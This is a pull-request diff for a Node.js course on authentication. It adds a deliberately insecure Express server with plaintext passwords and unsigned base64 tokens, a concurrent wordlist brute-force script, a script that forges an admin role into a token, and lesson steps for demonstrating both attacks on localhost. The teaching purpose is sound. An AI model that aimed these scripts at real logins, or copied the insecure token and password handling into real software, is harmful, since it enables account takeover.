Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,88 @@
import express from "express";
import { createServer } from "http";

// Example in-memory "database" for teaching purposes only
const users = [
{
id: 1,
username: "alice",
password: "password123",
role: "user",
},
{
id: 2,
username: "admin",
password: "admin123",
role: "admin",
},
];

function getUserByUsername(username) {
return users.find((user) => user.username === username) ?? null;
}

function issueToken(user) {
const payload = { userId: user.id, username: user.username, role: user.role };
return Buffer.from(JSON.stringify(payload)).toString("base64");
}

function decodeToken(token) {
try {
return JSON.parse(Buffer.from(token, "base64").toString("utf8"));
} catch {
return null;
}
}

const app = express();
app.use(express.json());

app.post("/login", (req, res) => {
const { username, password } = req.body;
const user = getUserByUsername(username);

if (!user || user.password !== password) {
return res.status(401).json({ error: "Invalid credentials" });
}

const token = issueToken(user);
res.json({ message: "Logged in with base64 token", token });
});

function requireTokenAuth(req, res, next) {
const authHeader = req.headers["authorization"];
const token = authHeader?.startsWith("Bearer ") ? authHeader.slice(7) : null;

if (!token) {
return res.status(401).json({ error: "No token provided" });
}

const payload = decodeToken(token);

if (!payload) {
return res.status(401).json({ error: "Invalid token" });
}

req.user = payload;
next();
}

app.get("/protected", requireTokenAuth, (req, res) => {
res.json({ data: "Token-protected resource", user: req.user });
});

// Admin-only route — great for demonstrating role forgery
app.get("/admin", requireTokenAuth, (req, res) => {
if (req.user.role !== "admin") {
return res.status(403).json({ error: "Admins only" });
}
res.json({ data: "Secret admin data", user: req.user });
});

app.post("/logout", (req, res) => {
res.json({ message: "Logged out (token must be discarded client-side)" });
});

app.listen(3000, () => {
console.log("> Ready on http://localhost:3000 (base64 token example)");
});
Original file line number Diff line number Diff line change
@@ -0,0 +1,78 @@
import fs from "fs";
import readline from "readline";

const TARGET_URL = "http://localhost:3000/login";
const username = process.argv[2] ?? "alice";
const wordlistPath = process.argv[3] ?? "/usr/share/wordlists/rockyou-50.txt";
const CONCURRENCY = 10;

async function tryPassword(password) {
const res = await fetch(TARGET_URL, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ username, password }),
});
return { password, success: res.status === 200 };
}

async function runChunk(passwords) {
return Promise.all(passwords.map(tryPassword));
}

async function bruteForce() {
console.log(`🎯 Target : ${TARGET_URL}`);
console.log(`👤 Username: ${username}`);
console.log(`📖 Wordlist: ${wordlistPath}\n`);

const rl = readline.createInterface({
input: fs.createReadStream(wordlistPath, { encoding: "latin1" }),
crlfDelay: Infinity,
});

let attempted = 0;
let chunk = [];
const startTime = Date.now();

for await (const line of rl) {
const password = line.trim();
if (!password) continue;

chunk.push(password);

if (chunk.length >= CONCURRENCY) {
const results = await runChunk(chunk);
attempted += results.length;

const found = results.find((r) => r.success);
if (found) {
const elapsed = ((Date.now() - startTime) / 1000).toFixed(1);
console.log(
`\n✅ PASSWORD FOUND after ${attempted} attempts (${elapsed}s)`,
);
console.log(` Username : ${username}`);
console.log(` Password : ${found.password}`);
process.exit(0);
}

process.stdout.write(`\r⏳ Tried ${attempted} passwords...`);
chunk = [];
}
}

// flush remaining chunk (wordlist end)
if (chunk.length > 0) {
const results = await runChunk(chunk);
attempted += results.length;
const found = results.find((r) => r.success);
if (found) {
console.log(
`\n✅ PASSWORD FOUND: ${found.password} (after ${attempted} attempts)`,
);
process.exit(0);
}
}

console.log(`\n❌ Password not found after ${attempted} attempts.`);
}

bruteForce().catch(console.error);
17 changes: 17 additions & 0 deletions courses/backend/node/module-materials/examples/token-forgery.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
const token = process.argv[2];

if (!token) {
console.error("Usage: node attack-forge-token.js <token>");
process.exit(1);
}

function forgeToken(token, overrides) {
const decoded = JSON.parse(Buffer.from(token, "base64").toString("utf8"));
const forged = { ...decoded, ...overrides };
return Buffer.from(JSON.stringify(forged)).toString("base64");
}

const forgedToken = forgeToken(token, { role: "admin" });

console.log("\n Original token:", token);
console.log("\n Forged token:", forgedToken);
15 changes: 10 additions & 5 deletions courses/backend/node/week3/preparation.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,14 +13,19 @@

## Session pre-read

- Read a short introduction to **password hashing and salting** (for example, an article explaining why plaintext passwords are insecure and how bcrypt works) // TODO
- Read a high-level overview of **JWT (JSON Web Tokens)** and how they are used for stateless authentication // TODO
- Read a brief introduction to **cookies and sessions** in web applications // TODO.
- Read a short introduction to [password hashing and salting](https://auth0.com/blog/adding-salt-to-hashing-a-better-way-to-store-passwords/)
- Read a high-level overview of [JWT (JSON Web Tokens](https://auth0.com/docs/secure/tokens/json-web-tokens)
[JWT debugger](https://www.jwt.io/)
- Read about security problems with self-created tokens that could lead to [Token Forgery](https://entro.security/glossary/token-forging/)
- Read a brief introduction to [cookies and sessions](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies)
- Read a short overview on the [difference between **authentication and authorisation**](https://www.geeksforgeeks.org/computer-networks/difference-between-authentication-and-authorization/).

## Optional Resources

For more research, you can explore the following resources:

- OWASP cheatsheets on authentication and session management (for a deeper security perspective). //TODO
- A more in-depth article or video about JWT best practices (token lifetimes, refresh tokens, common pitfalls). //TODO
- Great additional read about [Authentication vulnurabilities](https://portswigger.net/web-security/authentication)
- Great tool to extend your developer toolboc - [CyberChef](https://gchq.github.io/CyberChef/)
- OWASP [cheatsheets](https://cheatsheetseries.owasp.org/index.html) on authentication and session management (for a deeper security perspective).
- A more in-depth article or video about JWT best practices (token lifetimes, refresh tokens, common pitfalls). [JWT Attacks](https://portswigger.net/web-security/jwt)
- Incredible resource to learn security and encryption concepts [Cryptohack](https://cryptohack.org/)
Original file line number Diff line number Diff line change
Expand Up @@ -4,33 +4,49 @@ In this part of the session, you will add **secure password storage** and a **ba

We will:

- Hash passwords using `bcrypt`.
- Implement a `/login` endpoint that validates a user’s credentials.
- Demonstrate why insecure passwords are a security issue
- Hash passwords using `bcrypt`.

## 1. Database: users table

We can use already existing `users` table. Username can be user `email`, while password hash can be stored in the `token` column.
We can use already existing `users` table. Username can be user `email`, while password can be stored in the `token` column.

Update at least one user with a hashed password (for example a small Node program that calls `bcrypt.hash` and update the row).

## 2. Install bcrypt

Install `bcrypt` in the Snippets API project and import it in your auth route module.

## 3. Implement /login
## 2. Implement /login

Create a route (for example in `routes/auth.js`) that:

1. Reads `username` and `password` from the request body.
2. Looks up the user by username in the database.
3. Uses `bcrypt.compare` to compare the provided password with the stored `password_hash`.
4. Returns:

## 3. Demonstrate security issue with the password in plain

In the implemented solution, or, using the module examples - demonstrate how fast insecure password could be cracked.
You can download any of the suitable [password list](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Leaked-Databases) (suggested rockyou-50.txt) and execute

`node auth-sessions-brute-force.js user_name /path/to/your/wordlist`

## 4. Install bcrypt

Install `bcrypt` in the Snippets API project and import it in your auth route module.
Update at least one user with a hashed password (for example a small Node program that calls `bcrypt.hash` and update the row).

## 5. Update implementation with bicrypt

1. Modify the login functionality
2. Use `bcrypt.compare` to compare the provided password with the stored `password_hash`.
3. Returns:
- `401 Unauthorized` with a generic error message on failure.
- `200 OK` (or `201`) with a small success payload on success.

You do **not** need to generate tokens here yet – this is just about secure credential checking.

## 4. Suggested exercises
## 6. Hash cracking introduction

If using MD5 hashing algorythm, it is great to demonstrate that even hashed, if password is weak - it could be easily cracked
Take the created password hash (considering that it was a simple password like qwerty123, password123 etc) and paste it here - [Crack Station](https://crackstation.net/)

## 7. Suggested exercises

- Add at least one extra user to the database and test logging in as both.
- Think about:
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -16,6 +16,7 @@ Add a `tokens` table to the Snippets database, for example with columns:

- `id` (primary key)
- `user_id` (foreign key to `users.id`)
- `role` (string)
- `token` (string, unique)
- `created_at` (timestamp)
- `expires_at` (timestamp, optional)
Expand All @@ -25,7 +26,7 @@ Add a `tokens` table to the Snippets database, for example with columns:
Extend login (or create a separate `/login-token` route) so that:

1. You first verify the username and password using your secure logic.
2. Generate a random token value (for example using `crypto.randomBytes`).
2. Generate an encoded token value (using Base64 for the further example).
3. Insert a new row into the `tokens` table with the user ID and token.
4. Return the token to the client (e.g. `{ "token": "<value>" }`).

Expand All @@ -38,7 +39,22 @@ Create middleware (e.g. `requireTokenAuth`) that:
3. (Optionally) checks for expiration.
4. Attaches the corresponding user to `req.user`, or returns `401` if the token is not valid.

## 4. Suggested exercises
## 4. Implement role-based routed

Create an `/admin` rote protected by the role guard, so that:

1. Only the user with 'admin' role can access the route
2. Only the authenticated user can access the route

## 5. Perform the token forgery

In order to demonstrate why simple encoding is not enough for the token - perform the request forgery

1. Take the token and decode it (examples/token-forgery.js for the full path, [CyberChef](<https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false/disabled)To_Base64('A-Za-z0-9%2B/%3D')&input=eyJ1c2VySWQiOjEsInVzZXJuYW1lIjoiYWxpY2UiLCJyb2xlIjoiYWRtaW4ifQ>) to go step-by-step)
2. Change the role in the token from user to admin
3. Use the newly 'forged' token to enter `/admin` route

## 6. Suggested exercises

- Protect one or more Snippets API endpoints with your token-based middleware.
- Implement a `/logout-token` endpoint that deletes the token from the database.
Expand Down
Loading